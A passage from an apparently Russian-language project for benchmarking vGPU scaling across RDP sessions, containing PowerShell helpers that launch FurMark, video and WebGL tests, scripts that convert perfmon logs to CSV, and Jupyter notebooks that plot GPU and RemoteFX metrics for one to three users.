"test #2 FurMark" = New-Object psobject -Property @{
"exe" = "${env:ProgramFiles(x86)}\Geeks3D\Benchmarks\FurMark\FurMark.exe"
"param" = @("/nogui", "/nomenubar", "/fullscreen", "/max_time=150000")
}
"test #3 WMPlayer" = New-Object psobject -Property @{
"exe" = "${env:ProgramFiles(x86)}\Windows Media Player\wmplayer.exe"
"param" = @(<# "/Playlist", #> "$env:PUBLIC\Music\Playlists\mp4-qt-mp4.wpl", "/fullscreen")
}
"test #4 youtube" = New-Object psobject -Property @{
"exe" = "$env:ProgramW6432\Mozilla Firefox\firefox.exe"
"param" = @("-new-window", "--kiosk", "https://www.youtube.com/embed/LXb3EKWsInQ?autoplay=1&end=140&fs=1&rel=0&loop=1")
}
"test #5 WebGL" = New-Object psobject -Property @{
"exe" = "$env:ProgramW6432\Mozilla Firefox\firefox.exe"
"param" = @("-new-window", "--kiosk", "https://webglsamples.org/sprites/index.html")
}
}
$users = @{
'administrator' = 0
'1' = 1
'2' = 2
'3' = 3
'4' = 4
'5' = 5
}
function Get-quser # запрашивает данные по активным терминальным сессиям и возвращает их в виде объекта
{ # https://devblogs.microsoft.com/scripting/automating-quser-through-powershell/
# USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
# -------- ----------- -- ----- --------- ----------
# 1 rdp-tcp#90 3 Active 1:46 13.01.2021 11:31
# 2 rdp-tcp#49 4 Active 1:46 13.01.2021 12:19
param ()
$qusers = quser 2>&1 | `
ForEach-Object -Process { $_ -replace '\s{2,}',',' } | `
ForEach-Object -Process { $_ -replace '>','' } | `
ConvertFrom-Csv | `
Where-Object { $_.state -match 'active'} # -and $_.username -notmatch 'administrator' }
return $qusers
}
function Get-Logman # запрашивает состояние сборщиков метрик и возвращает их в виде объекта
{
# Data Collector Set Type Status
# ------------------ ---- ------
# Counter Stopped
# Counter Stopped
param ()
$pmOld = logman 2>&1 | Where-Object { $\_ -notmatch 'successfully' -and $\_ -notmatch '[-]{2,}'} | ForEach-Object -Process { $\_ -replace '\s{2,}',',' } | ConvertFrom-Csv
return $pmOld
}
function Sync-Tests # синхронизирует запуск тестов в разных RDP-сеансах
{
param (
[string] $test = 'no test',
[int] $period = 1 # test run every X minute
)
$FixTime = Get-Date
try
{
$SecondsTotal = (60 \* ($period - 1) - $FixTime.Second) \* ($FixTime.Minute % $period -ne 0) + (60 \* $period - $FixTime.Second) \* ($FixTime.Minute % $period -eq 0)
}
catch
{
$SecondsTotal = 0
}
while ( ((Get-Date).Second -ne 0 -or (Get-Date).Minute % $period -ne 0) -and $SecondsTotal -gt 0 ) # запуск теста в 00 секунд кратно интервалу
{
$null = Start-Sleep -Milliseconds (1000 - (Get-Date).Millisecond)
$FixTime = Get-Date
try
{
$SecondsLeft = (60 \* ($period - 1) - $FixTime.Second) \* ($FixTime.Minute % $period -ne 0) + (60 \* $period - $FixTime.Second) \* ($FixTime.Minute % $period -eq 0)
}
catch
{
$SecondsLeft = 0
}
try
{
Write-Progress -Activity ("{0}" -f $test) -SecondsRemaining $SecondsLeft -CurrentOperation "waiting sync before running test" #-PercentComplete ($SecondsLeft / $SecondsTotal \* 100)
}
catch { <# '{0} {1}' -f $SecondsTotal, $SecondsLeft #> }
}
}
function Clear-ProcessSpace # удаляет процессы, запущенные для теста
{
param ()
$ProcToKill = ($TestDefinitions.Values.exe | Split-Path -Leaf | ForEach-Object { $\_.Split('.')[0] })
foreach ($p in $ProcToKill) { Get-Process -name ('\*{0}\*' -f $p) | Stop-Process -Force }
}
Export-ModuleMember -Function \* -Variable \*
```
blg2csv.ps1
```
[CmdletBinding()]
param (
[switch] $su = $False # substitute username instead session id/number
)
$WasError = $False
$ErrMessages = @()
$RootDir = '{0}' -f ($MyInvocation.MyCommand.Definition | Split-Path -Parent)
$LogsDir = '{0}' -f (Join-Path -Path $RootDir -ChildPath 'logs' -Resolve)
$LogFile = '{0}' -f (Join-Path -Path $LogsDir -ChildPath 'match.csv' -Resolve)
try # импорт вспомогательного модуля
{
Import-Module -Force (Join-Path -Path $RootDir -ChildPath 'helper.psm1' -Resolve)
}
catch
{
'failed import helper.psm1' | Write-Output
break
}
$EncodeFrom = [System.Text.Encoding]::GetEncoding(1251)
$EncodeTo = New-Object System.Text.UTF8Encoding $False
$Heads = @() # для вывода заголовков в отдельный контрольный файл
# приводим заголовки csv файлов к единому виду, убираем ненужное
foreach ( $f in (Get-ChildItem -Path $LogsDir -File -Filter '*.csv' | Where-Object {$_.Name -notin @('match.csv', 'heads.csv')}) )
{
$null = $f.BaseName -match 'users.(?[0-9]{1,}).\*'
$n = [int]$Matches['n']
$csv = Import-Csv -Path $LogFile `
| Where-Object {$\_.file -match $f.BaseName} #`
| Select-Object -Last $n
$FileContent = $f | Get-Content -Encoding $EncodeFrom
$HeadOrig = $FileContent[0]
# "\\TESTGPU\NVIDIA GPU(#0 GRID M60-1Q (id=1, NVAPI ID=513))\% GPU Memory Usage"
if ($HeadOrig -match '.\*(?\\\\[a-zA-Z0-9]\*\\).\*') { $HeadOrig = $HeadOrig.Replace($Matches['hostname'], '') }
if ($HeadOrig -match '.\*NVIDIA GPU(?\(#[A-Z0-9 ]\*-[A-Z0-9]\* \(id=[0-9,]\* NVAPI ID=[0-9]\*\)\))') { $HeadOrig = $HeadOrig.Replace($Matches['gpu'], '') }
# замена session на номер пользователя из $users
while ($HeadOrig -match '(?\(RDP-Tcp.[0-9]{1,}\))')
{
if ($su) # если нужно, то все данные во всех тестах будут одинаково промаркированы по номеру пользователя из хэштаблицы $users
{
# RDP-Tcp 19 в $Matches['session'] сравнить с rdp-tcp#19 в csv и заменить на $users['administrator']
$s = ((($Matches['session'] -replace ' ', '#') -replace '\(', '') -replace '\)', '').ToLower()
$c = $csv | Where-Object {$\_.'rdp session' -eq $s}
# перехват ошибки, когда сессия во время теста вылетела, а тесты были продолжены БЕЗ переустановки счётчиков
try { $HeadOrig = $HeadOrig.Replace($Matches['session'], (' {0}' -f $users[$c.'rdp user'])) }
catch
{
# бывает так, что сессия во время теста вылетела, юзер перезашёл и получил новый номер сессии
# и если не остановить тест и не переопределить счётчики,
# то в blg-файле окажутся пустые данные по счётчикам старой, вылетевшей сессии,
# а в csv-файле будет указана уже новая активная сессия
# и попытка отформатировать заголовоки упадёт с ошибкой.
# чтобы узнать сбойный файл(-ы) и перезамерить тесты, ошибка перехватывается
$WasError = $true
$ErrMsg = "'{0}.blg'`n" -f $f.BaseName
$ErrMsg += "`tin blg empty data for session`n`t`t{0}`n`tbut in CSV no such session`n" -f $Matches['session']
$csv.'rdp session' | % {$ErrMsg += "`t`t{0}`n" -f $\_}
$ErrMsg += "`t{0}`n" -f $\_
$ErrMessages += $ErrMsg
break # break while
}
}
else
{
$HeadOrig = $HeadOrig.Replace($Matches['session'], '')
}
}
# замена id на номер пользователя из $users
while ($HeadOrig -match '(?\([0-9]{1,}\))')
{
if ($su) # если нужно, то все данные во всех тестах будут одинаково промаркированы по номеру пользователя из хэштаблицы $users
{
# (2) в $Matches['id'] сравнить с rdp id в csv и заменить на $users['administrator']
$s = (($Matches['id'] -replace '\(', '') -replace '\)', '')
$c = $csv | Where-Object {$\_.'rdp id' -eq $s}
# перехват ошибки, когда сессия во время теста вылетела, а тесты были продолжены БЕЗ переустановки счётчиков
try { $HeadOrig = $HeadOrig.Replace($Matches['id'], (' {0}' -f $users[$c.'rdp user'])) }
catch
{
# бывает так, что сессия во время теста вылетела, юзер перезашёл и получил новый номер сессии
# и если не остановить тест и не переопределить счётчики,
# то в blg-файле окажутся пустые данные по счётчикам старой, вылетевшей сессии,
# а в csv-файле будет указана уже новая активная сессия
# и попытка отформатировать заголовоки упадёт с ошибкой.
# чтобы узнать сбойный файл(-ы) и перезамерить тесты, ошибка перехватывается
$WasError = $true
$ErrMsg = "'{0}.blg'`n" -f $f.BaseName
$ErrMsg += "`tin blg empty data for session`n`t`t{0}`n`tbut in CSV no such session`n" -f $Matches['session']
$csv.'rdp session' | % {$ErrMsg += "`t`t{0}`n" -f $\_}
$ErrMsg += "`t{0}`n" -f $\_
$ErrMessages += $ErrMsg
break # break while
}
}
else
{
$HeadOrig = $HeadOrig.Replace($Matches['id'], '')
}
}
# "(PDH-CSV 4.0) (Russia TZ 2 Standard Time)(-180)"
if ($HeadOrig -match '.\*(?\(.\*\) \(.\*Time\)\([0-9 +-]\*\))') { $HeadOrig = $HeadOrig.Replace($Matches['time'], 'Time') }
$FileContent[0] = $HeadOrig # перезапись заголовка
$FileContent | Out-File -Encoding $EncodeTo -FilePath $f.FullName
$Heads += '"{0}",{1}' -f $f.Name, $HeadOrig # сохранение заголовка
}
# вывод заголовков столбцов в отдельный файл для доп. контроля порядка, названий и т.д.
$Heads | Out-File -Encoding $EncodeTo -FilePath (Join-Path -Path $LogsDir -ChildPath 'heads.csv')
if ($WasError) # перехват ошибки, когда сессия во время теста вылетела, а тесты были продолжены БЕЗ переустановки счётчиков
{
$ErrMessages | Write-Error
[Environment]::Exit(-123)
}
```
blg2csv.cmd
```
@echo off
@REM смена кодировки нужна для powershell-скрипта "%~dpn0.ps1"
chcp 65001
@REM работаем в текущей папке скрипта
cd "%~dp0logs"
@REM включаем расширения для переопределения переменных в цикле
setlocal EnableDelayedExpansion
@REM цикл по двоичным файлам мониторинга
FOR /F "usebackq delims=." %%a IN (`dir *.blg /b`) DO (
set "blg=%%a.blg"
set "csv=%%a.csv"
@REM convert binary to csv
relog "!blg!" -f csv -o "!csv!" -y
)
@REM имена cmd и powershell скриптов должны совпадать
@REM pwsh.exe -NoLogo -NoProfile -File "%~dpn0.ps1"
start "%~dpn0.ps1" /WAIT /B pwsh.exe -Command "& {%~dpn0.ps1 -su:$true}"
if %ERRORLEVEL% == 0 (
exit
) else (
pause
exit
)
@REM справка reglog - утилиты работы с журналами производительности
@REM https://docs.microsoft.com/ru-ru/windows-server/administration/windows-commands/relog
```
figures.ipynb### Обработка замеров
**ось Y одинаково масштабирована внутри одной метрики**
Для понимания масштабирования vGPU на несколько терминальных сеансов были проведены следующие замеры:
* три теста (см. 1ю часть): 3D тест, проигрывание локального плейлиста, проигрывание youtube-ролика
* три случая: каждый тест воспроизводился в одном, двух и трёх терминальных сеансах одновременно
Таким образом по одной метрике будет построено 9 графиков:
* в колонках показаны результаты тестов
* в рядах - количество одновременных RDP-сеансов
```
test2 test3 test4
-------------------------
1 user | | | |
-------------------------
2 users | | | |
-------------------------
3 users | | | |
-------------------------
```
```
# Подготовка данных
import pandas as pd
import matplotlib.pyplot as plt
from matplotlib.ticker import EngFormatter # для вывода форматированных единиц измерения
pd.options.display.max_rows = 999
plt.rcParams['figure.max_open_warning'] = 99 # порог предупреждения при одновременном построении нескольких рисунков
%matplotlib inline
# импорт замеров трёх тестов в комбинации с 1, 2 и 3 одновременными сеансами RDP
# второй тест - 3d benchmark
t21 = pd.concat([pd.read_csv('./logs/test #2 FurMark users 1 general.csv', na_values=' '), pd.read_csv('./logs/test #2 FurMark users 1 session.csv', na_values=' ')], join='inner', axis=1)
t22 = pd.concat([pd.read_csv('./logs/test #2 FurMark users 2 general.csv', na_values=' '), pd.read_csv('./logs/test #2 FurMark users 2 session.csv', na_values=' ')], join='inner', axis=1)
t23 = pd.concat([pd.read_csv('./logs/test #2 FurMark users 3 general.csv', na_values=' '), pd.read_csv('./logs/test #2 FurMark users 3 session.csv', na_values=' ')], join='inner', axis=1)
# t23.info()
# третий тест - проигрывание локальных видеофайлов
t31 = pd.concat([pd.read_csv('./logs/test #3 WMPlayer users 1 general.csv', na_values=' '), pd.read_csv('./logs/test #3 WMPlayer users 1 session.csv', na_values=' ')], join='inner', axis=1)
t32 = pd.concat([pd.read_csv('./logs/test #3 WMPlayer users 2 general.csv', na_values=' '), pd.read_csv('./logs/test #3 WMPlayer users 2 session.csv', na_values=' ')], join='inner', axis=1)
t33 = pd.concat([pd.read_csv('./logs/test #3 WMPlayer users 3 general.csv', na_values=' '), pd.read_csv('./logs/test #3 WMPlayer users 3 session.csv', na_values=' ')], join='inner', axis=1)
# t33.info()
# четвёртый тест - просмотр youtube в 1080p60
t41 = pd.concat([pd.read_csv('./logs/test #4 youtube users 1 general.csv', na_values=' '), pd.read_csv('./logs/test #4 youtube users 1 session.csv', na_values=' ')], join='inner', axis=1)
t42 = pd.concat([pd.read_csv('./logs/test #4 youtube users 2 general.csv', na_values=' '), pd.read_csv('./logs/test #4 youtube users 2 session.csv', na_values=' ')], join='inner', axis=1)
t43 = pd.concat([pd.read_csv('./logs/test #4 youtube users 3 general.csv', na_values=' '), pd.read_csv('./logs/test #4 youtube users 3 session.csv', na_values=' ')], join='inner', axis=1)
# t41.info()
dataframes = [
[t21, t31, t41],
[t22, t32, t42],
[t23, t33, t43],
]
fgs = [ # макет и свойства графиков: комментирование метрики отключает построение её диаграммы
# n номер рисунка для сортировки и вывода по-порядку
# ysamescale нужно ли использовать один масштаб по Y для всех графиков метрики
# yscale масштаб единиц измерения
# yunit единица измерения
# ydata колонка из датафрейма
# desc название рисунка
# r'...\UDP...' это fix of (unicode error) 'unicodeescape' codec can't decode bytes in position 20-22: truncated \UXXXXXXXX escape
# общие счётчики
{'n': 3, 'ysamescale': True, 'yscale': 1, 'yunit': '%', 'ydata': 'Processor Information(_Total)\% Processor Time', 'desc': 'Загрузка центрального процессора'},
{'n': 7, 'ysamescale': True, 'yscale': 1, 'yunit': 'B', 'ydata': 'Memory\Available Bytes', 'desc': 'Доступная оперативная память'},
{'n': 7, 'ysamescale': True, 'yscale': 1, 'yunit': '%', 'ydata': 'Memory\% Committed Bytes In Use', 'desc': 'Загрузка оперативной памяти'},
{'n': 9, 'ysamescale': True, 'yscale': 1, 'yunit': '%', 'ydata': 'NVIDIA GPU\% GPU Usage', 'desc': 'Загрузка видеопроцессора'},
{'n': 9, 'ysamescale': True, 'yscale': 1, 'yunit': '%', 'ydata': 'NVIDIA GPU\% GPU Memory Usage', 'desc': 'Загрузка видеопамяти'},
{'n': 9, 'ysamescale': True, 'yscale': 1, 'yunit': '%', 'ydata': 'NVIDIA GPU\% FB Usage', 'desc': 'Загрузка фреймбуфера GPU'},
{'n': 9, 'ysamescale': True, 'yscale': 1, 'yunit': '%', 'ydata': 'NVIDIA GPU\% Video Encoder Usage', 'desc': 'Загрузка энкодера GPU'},
{'n': 9, 'ysamescale': True, 'yscale': 1, 'yunit': '%', 'ydata': 'NVIDIA GPU\% Video Decoder Usage', 'desc': 'Загрузка декодера GPU'},
# счётчики сеансов
{'n': 1, 'ysamescale': False, 'yscale': 0.001, 'yunit': 's', 'ydata': 'User Input Delay per Session {0}\Max Input Delay', 'desc': 'Максимальная задержка ввода на сеанс'},
{'n': 5, 'ysamescale': True, 'yscale': 1, 'yunit': 'FPS', 'ydata': 'RemoteFX Graphics {0}\Input Frames/Second', 'desc': 'Графика RemoteFX, Входящих кадров в секунду', 'yMin': 0, 'yMax': 50},
{'n': 5, 'ysamescale': True, 'yscale': 1, 'yunit': 'FPS', 'ydata': 'RemoteFX Graphics {0}\Output Frames/Second', 'desc': 'Графика RemoteFX, Исходящих кадров в секунду', 'yMin': 0, 'yMax': 50},
{'n': 33, 'ysamescale': False, 'yscale': 0.001, 'yunit': 's', 'ydata': 'RemoteFX Graphics {0}\Average Encoding Time', 'desc': 'Графика RemoteFX, Среднее время кодирования кадра'},
{'n': 33, 'ysamescale': True, 'yscale': 1, 'yunit': '%', 'ydata': 'RemoteFX Graphics {0}\Frame Quality', 'desc': 'Графика RemoteFX, Качество кадра'},
{'n': 33, 'ysamescale': False, 'yscale': 1, 'yunit': '%', 'ydata': 'RemoteFX Graphics {0}\Graphics Compression ratio', 'desc': 'Графика RemoteFX, Коэффициент сжатия графических данных'},
{'n': 22, 'ysamescale': True, 'yscale': 1, 'yunit': 'bps', 'ydata': 'RemoteFX Network {0}\Total Sent Rate', 'desc': 'Сеть RemoteFX, Общая скорость передачи'},
{'n': 22, 'ysamescale': True, 'yscale': 1, 'yunit': 'bps', 'ydata': 'RemoteFX Network {0}\Total Received Rate', 'desc': 'Сеть RemoteFX, Общая скорость приёма'},
{'n': 22, 'ysamescale': True, 'yscale': 1, 'yunit': '%', 'ydata': 'RemoteFX Network {0}\Loss Rate', 'desc': 'Сеть RemoteFX, Потери'},
{'n': 44, 'ysamescale': True, 'yscale': 1, 'yunit': 'FPS', 'ydata': 'RemoteFX Graphics {0}\Frames Skipped/Second - Insufficient Network Resources', 'desc': 'Графика RemoteFX, Пропуск кадров из-за нехватки сетевых ресурсов'},
{'n': 44, 'ysamescale': True, 'yscale': 1, 'yunit': 'FPS', 'ydata': 'RemoteFX Graphics {0}\Frames Skipped/Second - Insufficient Server Resources', 'desc': 'Графика RemoteFX, Пропуск кадров из-за нехватки ресурсов сервера'},
{'n': 44, 'ysamescale': True, 'yscale': 1, 'yunit': 'FPS', 'ydata': 'RemoteFX Graphics {0}\Frames Skipped/Second - Insufficient Client Resources', 'desc': 'Графика RemoteFX, Пропуск кадров из-за нехватки ресурсов клиента'},
{'n': 55, 'ysamescale': True, 'yscale': 1, 'yunit': 'bps', 'ydata': r'RemoteFX Network {0}\UDP Sent Rate', 'desc': 'Сеть RemoteFX, Скорость передачи, UDP'},
{'n': 55, 'ysamescale': True, 'yscale': 1, 'yunit': 'bps', 'ydata': r'RemoteFX Network {0}\UDP Received Rate', 'desc': 'Сеть RemoteFX, Скорость приёма, UDP'},
{'n': 55, 'ysamescale': True, 'yscale': 1000, 'yunit': 'bps', 'ydata': 'RemoteFX Network {0}\Current UDP Bandwidth', 'desc': 'Сеть RemoteFX, Пропускная способность UDP-подключения'},
{'n': 55, 'ysamescale': True, 'yscale': 1, 'yunit': 'bps', 'ydata': 'RemoteFX Network {0}\TCP Sent Rate', 'desc': 'Сеть RemoteFX, Скорость передачи, TCP'},
{'n': 55, 'ysamescale': True, 'yscale': 1, 'yunit': 'bps', 'ydata': 'RemoteFX Network {0}\TCP Received Rate', 'desc': 'Сеть RemoteFX, Скорость приёма, TCP'},
{'n': 55, 'ysamescale': True, 'yscale': 1000, 'yunit': 'bps', 'ydata': 'RemoteFX Network {0}\Current TCP Bandwidth', 'desc': 'Сеть RemoteFX, Пропускная способность TCP-подключения'},
]
fgs.sort(key=lambda counter: counter['n'])
null = [print(f"{el['n']:>2} {el['ysamescale']:<1} {el['yunit']:^5} {el['desc']:<64}") for el in fgs]
# Поиск и сохранение пределов по оси Y в fgs
y_lim_scale = 0.13 # коэффициент пределов по Y: рамки графика должны быть чуть шире, чтобы график не сливался с ними
# сведение всех замеров в одну таблицу для поиска max/min
alldf = pd.concat([t21, t22, t23, t31, t32, t33, t41, t42, t43], axis=1, join='inner')
print('debug: должно быть 3*3=9 значений', alldf['Memory\Available Bytes'].max(), sep='\n')
allusr = set([n for n in range(11) if 'User Input Delay per Session {0}\Max Input Delay'.format(n) in alldf.columns]) # все пользователи, которые встретились в замерах
print(f'\nпользователи: {allusr}\n')
for c in fgs:
# метрики сеанса
if '0' in c['ydata']:
c.setdefault('yMax', 0)
c.setdefault('yMin', 0)
for u in allusr:
if c['yMax'] < max(alldf[c['ydata'].format(u)].max()):
c['yMax'] = max(alldf[c['ydata'].format(u)].max())
if c['yMin'] > min(alldf[c['ydata'].format(u)].min()):
c['yMin'] = min(alldf[c['ydata'].format(u)].min())
# общая метрика
else:
c.setdefault('yMax', max(alldf[c['ydata']].max()))
c.setdefault('yMin', min(alldf[c['ydata']].min()))
if c['yMin'] == c['yMax']: # когда оба предела одинаковые, будет ошибка при установке ax.set_ylim(...)
c['yMin'] = -1
c['yMax'] = +1
# немного расширяем границы, чтобы линии графика были внутри границ, а не совпадали с верхом/низом
c['yMin'] = (c['yMin'] - c['yMin'] * y_lim_scale - 1) * c.setdefault('yscale', 1)
c['yMax'] = (c['yMax'] + c['yMax'] * y_lim_scale + 1) * c.setdefault('yscale', 1)
Null = [print(f"{c['yMin']:>20} {c['yMax']:>20}\t{c['ydata']}") for c in fgs] # debug: fgs теперь содержит верхний и нижний пределы для каждой метрики
# Построение графиков
ax_titles = ['test #2: 3D benchmark', 'test #3: play 1080p video', 'test #4: play 1080p youtube video']
for m in fgs: # сколько метрик, столько рисунков (диаграмм 3x3)
fig, axs = plt.subplots(3, 3, figsize=(15, 8), sharex='col', sharey='row') # диаграмма 3х3=9 графиков
# имя рисунка
fig.suptitle(f"Рис. {fgs.index(m) + 1:>2}. {m['desc']}", fontsize=14)
# фон рисунка белый вместо прозрачного
fig.patch.set_facecolor('white')
# подпись верхнего ряда названием теста
[ax.set_title(title) for ax, title in zip(axs[0, :], ax_titles)]
# подпись левой колонки количеством пользователей
[ax.set(ylabel=f"{n} {'user' if n == 1 else 'users'}") for ax, n in zip(axs[:, 0], range(1,4))]
# дубль шкалы в правую колонку
[ax.yaxis.set_tick_params(labelleft=False, labelright=True, which='major') for ax in axs[:,2]]
# ряды графиков в диаграмме
for axrow, dfrow in zip(axs, dataframes):
# график в ряду
for ax, df, title in zip(axrow, dfrow, ax_titles):
# список пользователей, которые участвовали в текущем замере
usl = [n for n in range(11) if 'User Input Delay per Session {0}\Max Input Delay'.format(n) in df.columns]
# графики сессий
if '{0}' in m['ydata']:
# легенда текущего графика зависит от количества пользователей в замере
lgn = [f"user {u}, average {EngFormatter(places=0).format_eng(df[m['ydata'].format(u)].mean() * m.get('yscale', 1) )}{m['yunit']}" for u in usl]
for u in usl:
ax.plot(df.index.values, df[m['ydata'].format(u)] * m.get('yscale', 1))
# общие графики
else:
ax.plot(df.index.values, df[m['ydata']] * m.get('yscale', 1))
avg = EngFormatter(places=0).format_eng(df[m['ydata']].mean() * m.get('yscale', 1) )
lgn = [f"{len(usl)} {'user' if len(usl) == 1 else 'users'}, average {avg}{m['yunit']}"]
ax.legend(lgn, fontsize=8)
ax.set_xlim(0, 119) # метка '120' засоряла график
if m['ysamescale']:
ax.set_ylim(m['yMin'], m['yMax']) # единый масштаб оси Y для всех 9 графиков
ax.xaxis.set_tick_params(which='major', labelcolor='grey') # подписи к X-шкале
ax.yaxis.set_tick_params(which='major', labelcolor='grey') # подписи Y-шкале
ax.grid(axis='y') # горизонтальная сетка
ax.grid(axis='x') # вертикальная сетка
ax.xaxis.set_major_formatter(EngFormatter(unit='s')) # по X секунды
ax.yaxis.set_major_formatter(EngFormatter(unit=m['yunit'])) # по Y у каждого графика своя ед. изм.
fig.tight_layout()
```
figures\_alt.ipynb### Обработка замеров, альтернативный вариант
**ось Y одинаково масштабирована внутри одной метрики**
Для понимания масштабирования vGPU на несколько терминальных сеансов были проведены следующие замеры:
* три теста (см. 1ю часть): 3D тест, проигрывание локального плейлиста, проигрывание youtube-ролика
* три случая: каждый тест воспроизводился в одном, двух и трёх терминальных сеансах одновременно
Таким образом по одной метрике будет построено 9 графиков:
* в колонках находятся результаты для разного количества одновременных RDP-сеансов
* в рядах - тесты
```
1 user 2 users 3 users
-------------------------
test2 | | | |
-------------------------
test3 | | | |
-------------------------
test4 | | | |
-------------------------
```
```
# Подготовка данных
import pandas as pd
import matplotlib.pyplot as plt
from matplotlib.ticker import EngFormatter # для вывода форматированных единиц измерения
pd.options.display.max_rows = 999
plt.rcParams['figure.max_open_warning'] = 99 # порог предупреждения при одновременном построении нескольких рисунков
%matplotlib inline
# импорт замеров трёх тестов в комбинации с 1, 2 и 3 одновременными сеансами RDP
# второй тест - 3d benchmark
t21 = pd.concat([pd.read_csv('./logs/test #2 FurMark users 1 general.csv', na_values=' '), pd.read_csv('./logs/test #2 FurMark users 1 session.csv', na_values=' ')], join='inner', axis=1)
t22 = pd.concat([pd.read_csv('./logs/test #2 FurMark users 2 general.csv', na_values=' '), pd.read_csv('./logs/test #2 FurMark users 2 session.csv', na_values=' ')], join='inner', axis=1)
t23 = pd.concat([pd.read_csv('./logs/test #2 FurMark users 3 general.csv', na_values=' '), pd.read_csv('./logs/test #2 FurMark users 3 session.csv', na_values=' ')], join='inner', axis=1)
# t23.info()
# третий тест - проигрывание локальных видеофайлов
t31 = pd.concat([pd.read_csv('./logs/test #3 WMPlayer users 1 general.csv', na_values=' '), pd.read_csv('./logs/test #3 WMPlayer users 1 session.csv', na_values=' ')], join='inner', axis=1)
t32 = pd.concat([pd.read_csv('./logs/test #3 WMPlayer users 2 general.csv', na_values=' '), pd.read_csv('./logs/test #3 WMPlayer users 2 session.csv', na_values=' ')], join='inner', axis=1)
t33 = pd.concat([pd.read_csv('./logs/test #3 WMPlayer users 3 general.csv', na_values=' '), pd.read_csv('./logs/test #3 WMPlayer users 3 session.csv', na_values=' ')], join='inner', axis=1)
# t33.info()
# четвёртый тест - просмотр youtube в 1080p60
t41 = pd.concat([pd.read_csv('./logs/test #4 youtube users 1 general.csv', na_values=' '), pd.read_csv('./logs/test #4 youtube users 1 session.csv', na_values=' ')], join='inner', axis=1)
t42 = pd.concat([pd.read_csv('./logs/test #4 youtube users 2 general.csv', na_values=' '), pd.read_csv('./logs/test #4 youtube users 2 session.csv', na_values=' ')], join='inner', axis=1)
t43 = pd.concat([pd.read_csv('./logs/test #4 youtube users 3 general.csv', na_values=' '), pd.read_csv('./logs/test #4 youtube users 3 session.csv', na_values=' ')], join='inner', axis=1)
# t41.info()
dataframes = [
[t21, t22, t23],
[t31, t32, t33],
[t41, t42, t43],
]
fgs = [ # макет и свойства графиков: комментирование метрики отключает построение её диаграммы
# n номер рисунка для сортировки и вывода по-порядку
# ysamescale нужно ли использовать один масштаб по Y для всех графиков метрики
# yscale масштаб единиц измерения
# yunit единица измерения
# ydata колонка из датафрейма
# desc название рисунка
# r'...\UDP...' это fix of (unicode error) 'unicodeescape' codec can't decode bytes in position 20-22: truncated \UXXXXXXXX escape
# общие счётчики
{'n': 3, 'ysamescale': True, 'yscale': 1, 'yunit': '%', 'ydata': 'Processor Information(_Total)\% Processor Time', 'desc': 'Загрузка центрального процессора'},
{'n': 7, 'ysamescale': True, 'yscale': 1, 'yunit': 'B', 'ydata': 'Memory\Available Bytes', 'desc': 'Доступная оперативная память'},
{'n': 7, 'ysamescale': True, 'yscale': 1, 'yunit': '%', 'ydata': 'Memory\% Committed Bytes In Use', 'desc': 'Загрузка оперативной памяти'},
{'n': 9, 'ysamescale': True, 'yscale': 1, 'yunit': '%', 'ydata': 'NVIDIA GPU\% GPU Usage', 'desc': 'Загрузка видеопроцессора'},
{'n': 9, 'ysamescale': True, 'yscale': 1, 'yunit': '%', 'ydata': 'NVIDIA GPU\% GPU Memory Usage', 'desc': 'Загрузка видеопамяти'},
{'n': 9, 'ysamescale': True, 'yscale': 1, 'yunit': '%', 'ydata': 'NVIDIA GPU\% FB Usage', 'desc': 'Загрузка фреймбуфера GPU'},
{'n': 9, 'ysamescale': True, 'yscale': 1, 'yunit': '%', 'ydata': 'NVIDIA GPU\% Video Encoder Usage', 'desc': 'Загрузка энкодера GPU'},
{'n': 9, 'ysamescale': True, 'yscale': 1, 'yunit': '%', 'ydata': 'NVIDIA GPU\% Video Decoder Usage', 'desc': 'Загрузка декодера GPU'},
# счётчики сеансов
{'n': 1, 'ysamescale': False, 'yscale': 0.001, 'yunit': 's', 'ydata': 'User Input Delay per Session {0}\Max Input Delay', 'desc': 'Максимальная задержка ввода на сеанс'},
{'n': 5, 'ysamescale': True, 'yscale': 1, 'yunit': 'FPS', 'ydata': 'RemoteFX Graphics {0}\Input Frames/Second', 'desc': 'Графика RemoteFX, Входящих кадров в секунду', 'yMin': 0, 'yMax': 50},
{'n': 5, 'ysamescale': True, 'yscale': 1, 'yunit': 'FPS', 'ydata': 'RemoteFX Graphics {0}\Output Frames/Second', 'desc': 'Графика RemoteFX, Исходящих кадров в секунду', 'yMin': 0, 'yMax': 50},
{'n': 33, 'ysamescale': False, 'yscale': 0.001, 'yunit': 's', 'ydata': 'RemoteFX Graphics {0}\Average Encoding Time', 'desc': 'Графика RemoteFX, Среднее время кодирования кадра'},
{'n': 33, 'ysamescale': True, 'yscale': 1, 'yunit': '%', 'ydata': 'RemoteFX Graphics {0}\Frame Quality', 'desc': 'Графика RemoteFX, Качество кадра'},
{'n': 33, 'ysamescale': False, 'yscale': 1, 'yunit': '%', 'ydata': 'RemoteFX Graphics {0}\Graphics Compression ratio', 'desc': 'Графика RemoteFX, Коэффициент сжатия графических данных'},
{'n': 22, 'ysamescale': True, 'yscale': 1, 'yunit': 'bps', 'ydata': 'RemoteFX Network {0}\Total Sent Rate', 'desc': 'Сеть RemoteFX, Общая скорость передачи'},
{'n': 22, 'ysamescale': True, 'yscale': 1, 'yunit': 'bps', 'ydata': 'RemoteFX Network {0}\Total Received Rate', 'desc': 'Сеть RemoteFX, Общая скорость приёма'},
{'n': 22, 'ysamescale': True, 'yscale': 1, 'yunit': '%', 'ydata': 'RemoteFX Network {0}\Loss Rate', 'desc': 'Сеть RemoteFX, Потери'},
{'n': 44, 'ysamescale': True, 'yscale': 1, 'yunit': 'FPS', 'ydata': 'RemoteFX Graphics {0}\Frames Skipped/Second - Insufficient Network Resources', 'desc': 'Графика RemoteFX, Пропуск кадров из-за нехватки сетевых ресурсов'},
{'n': 44, 'ysamescale': True, 'yscale': 1, 'yunit': 'FPS', 'ydata': 'RemoteFX Graphics {0}\Frames Skipped/Second - Insufficient Server Resources', 'desc': 'Графика RemoteFX, Пропуск кадров из-за нехватки ресурсов сервера'},
{'n': 44, 'ysamescale': True, 'yscale': 1, 'yunit': 'FPS', 'ydata': 'RemoteFX Graphics {0}\Frames Skipped/Second - Insufficient Client Resources', 'desc': 'Графика RemoteFX, Пропуск кадров из-за нехватки ресурсов клиента'},
{'n': 55, 'ysamescale': True, 'yscale': 1, 'yunit': 'bps', 'ydata': r'RemoteFX Network {0}\UDP Sent Rate', 'desc': 'Сеть RemoteFX, Скорость передачи, UDP'},
